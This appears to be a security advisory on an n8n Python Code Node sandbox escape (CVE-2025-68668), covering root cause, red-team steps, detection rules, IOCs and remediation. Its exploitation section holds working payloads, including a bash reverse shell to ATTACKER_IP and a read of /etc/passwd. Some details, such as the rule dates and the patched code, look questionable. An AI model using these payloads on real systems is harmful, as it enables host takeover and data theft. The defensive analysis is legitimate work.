CVE-2025-68668

Executive Summary

CVE-2025-68668 is a critical sandbox bypass vulnerability in n8n, an open-source workflow automation platform. The flaw resides in the Python Code Node, which uses Pyodide to execute Python scripts. An authenticated attacker with permission to create or modify workflows can escape the Pyodide sandbox and execute arbitrary commands on the host system with the same privileges as the n8n process. This leads to full host compromise, data exfiltration, and lateral movement. The vulnerability affects versions 1.0.0 through 2.0.0 (exclusive). A patch was released in version 2.0.0. Workarounds include disabling the Code Node or Python support.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Users who install n8n via npm are vulnerable if they are running a version between 1.0.0 and 2.0.0. The vulnerability is introduced through the use of Pyodide, a third-party Python interpreter compiled to WebAssembly. The sandbox escape occurs due to insufficient isolation of the Pyodide execution environment. Organizations should verify their n8n version and apply the patch or workarounds immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs an authenticated account with workflow creation permissions.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) – Full read access to host files and secrets.
• Integrity Impact: High (I:H) – Full write access to host files and processes.
• Availability Impact: High (A:H) – Ability to disrupt or destroy the host system.

Threat Level: Critical. The combination of low privileges required, network accessibility, and high impact makes this vulnerability extremely dangerous for any organization using n8n.

Deep Dive & Mechanics

The vulnerability exists in the Python Code Node, which allows users to execute Python scripts within a workflow. n8n uses Pyodide to run these scripts in a sandboxed WebAssembly environment. However, the sandbox is not properly isolated from the host system.

Root Cause: The Pyodide sandbox provides access to JavaScript objects and functions. An attacker can craft a Python script that uses Pyodide's js module to access the Node.js child_process module, which is available in the n8n process. This allows the attacker to execute arbitrary system commands.

Attack Flow:

1. An authenticated attacker creates or modifies a workflow containing a Python Code Node.
2. The attacker injects a malicious Python script that uses Pyodide's js module to import child_process.
3. The script executes a command (e.g., whoami, id, or a reverse shell) via child_process.execSync().
4. The command runs with the same privileges as the n8n process, typically a dedicated user or root.

Example Malicious Script:

import js
import subprocess
# Access Node.js child_process module
child_process = js.require('child_process')
# Execute a command
result = child_process.execSync('id').toString()
print(result)

Vulnerable vs. Patched Code

Vulnerable Code (n8n < 2.0.0): The Python Code Node directly uses Pyodide without restricting access to Node.js modules. The sandbox is not configured to block js.require.

// Vulnerable: No sandbox restrictions
const pyodide = await loadPyodide();
await pyodide.runPythonAsync(userCode);

Patched Code (n8n >= 2.0.0): The patch introduces a restricted execution environment that blocks access to dangerous Node.js modules. The sandbox is configured to prevent js.require from accessing child_process, fs, and other sensitive modules.

// Patched: Sandbox restrictions applied
const pyodide = await loadPyodide({
    indexURL: "https://cdn.jsdelivr.net/pyodide/v0.25.0/full/",
    // Block dangerous modules
    jsglobals: {
        require: undefined,
        process: undefined,
        global: undefined,
    }
});
await pyodide.runPythonAsync(userCode);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an n8n instance (version 1.0.0 to 2.0.0)
• Authenticated user account with permission to create or modify workflows

Exploitation Steps:

1. Log in to the n8n web interface.
2. Create a new workflow or edit an existing one.
3. Add a "Code" node and select "Python" as the language.
4. Paste the following payload:

import js
import subprocess

# Execute a command to exfiltrate data
result = js.require('child_process').execSync('cat /etc/passwd').toString()
print(result)

5. Execute the workflow. The output will contain the contents of /etc/passwd.

Advanced Payload (Reverse Shell):

import js
import subprocess

# Reverse shell to attacker-controlled server
js.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')

Blue Team (Detection & Response)

Detection:

• Monitor n8n workflow execution logs for unusual Python code execution.
• Look for workflows that use the Python Code Node with suspicious imports (e.g., js, child_process).
• Monitor network connections from the n8n server to external IPs on unusual ports.

Response:

1. Immediately isolate the affected n8n server.
2. Review all workflows for malicious Python Code Nodes.
3. Rotate all secrets and credentials stored in n8n.
4. Apply the patch (upgrade to version 2.0.0 or later).
5. If patching is not possible, apply workarounds:
   • Set NODES_EXCLUDE: "[\"n8n-nodes-base.code\"]" to disable the Code Node entirely.
   • Set N8N_PYTHON_ENABLED=false to disable Python support (requires n8n >= 1.104.0).
   • Configure the task runner based Python sandbox using N8N_RUNNERS_ENABLED=true and N8N_NATIVE_PYTHON_RUNNER=true.

Indicators of Compromise (IOCs)

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ created by the n8n process.
• Modified n8n configuration files (e.g., ~/.n8n/config).

Network IOCs:

• Outbound connections from the n8n server to unknown IPs on ports 4444, 1337, or other non-standard ports.
• DNS queries to domains associated with C2 infrastructure.

Process IOCs:

• Unusual child processes spawned by the n8n process (e.g., bash, sh, nc, python3).
• High CPU or memory usage by the n8n process due to malicious script execution.

Log IOCs:

• n8n workflow execution logs containing Python code with js.require or child_process.
• System logs showing commands executed by the n8n user (e.g., sudo, cat /etc/shadow).

Detection Engineering

YARA Rule

rule CVE_2025_68668_n8n_Sandbox_Escape {
    meta:
        description = "Detects malicious Python code attempting to exploit CVE-2025-68668 in n8n"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68668"
        severity = "critical"
    strings:
        $s1 = "js.require" ascii wide nocase
        $s2 = "child_process" ascii wide nocase
        $s3 = "execSync" ascii wide nocase
        $s4 = "exec" ascii wide nocase
        $s5 = "spawn" ascii wide nocase
        $s6 = "import js" ascii wide nocase
    condition:
        any of ($s1, $s6) and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-68668 - n8n Python Code Node Sandbox Escape
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects execution of Python code in n8n that attempts to escape the Pyodide sandbox
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68668
logsource:
    product: n8n
    service: workflow_execution
detection:
    selection:
        code|contains:
            - 'js.require'
            - 'child_process'
            - 'execSync'
            - 'import js'
    condition: selection
falsepositives:
    - Legitimate use of Pyodide for system administration (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68668 - n8n Python Code Node Sandbox Escape - Outbound Connection"; flow:to_server,established; content:"POST"; http_method; content:"/webhook/"; http_uri; content:"python"; http_client_body; pcre:"/(js\.require|child_process|execSync)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade n8n to version 2.0.0 or later.
2. Workaround: If patching is not possible, apply one of the following:
   • Disable the Code Node: Set environment variable NODES_EXCLUDE: "[\"n8n-nodes-base.code\"]".
   • Disable Python support: Set N8N_PYTHON_ENABLED=false (requires n8n >= 1.104.0).
   • Use task runner sandbox: Set N8N_RUNNERS_ENABLED=true and N8N_NATIVE_PYTHON_RUNNER=true.

Long-Term Mitigations:

• Implement strict access controls for workflow creation and modification.
• Regularly audit workflows for suspicious code.
• Monitor n8n logs for anomalous Python execution.
• Use network segmentation to limit n8n's outbound access.
• Apply the principle of least privilege to the n8n process user.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters.it.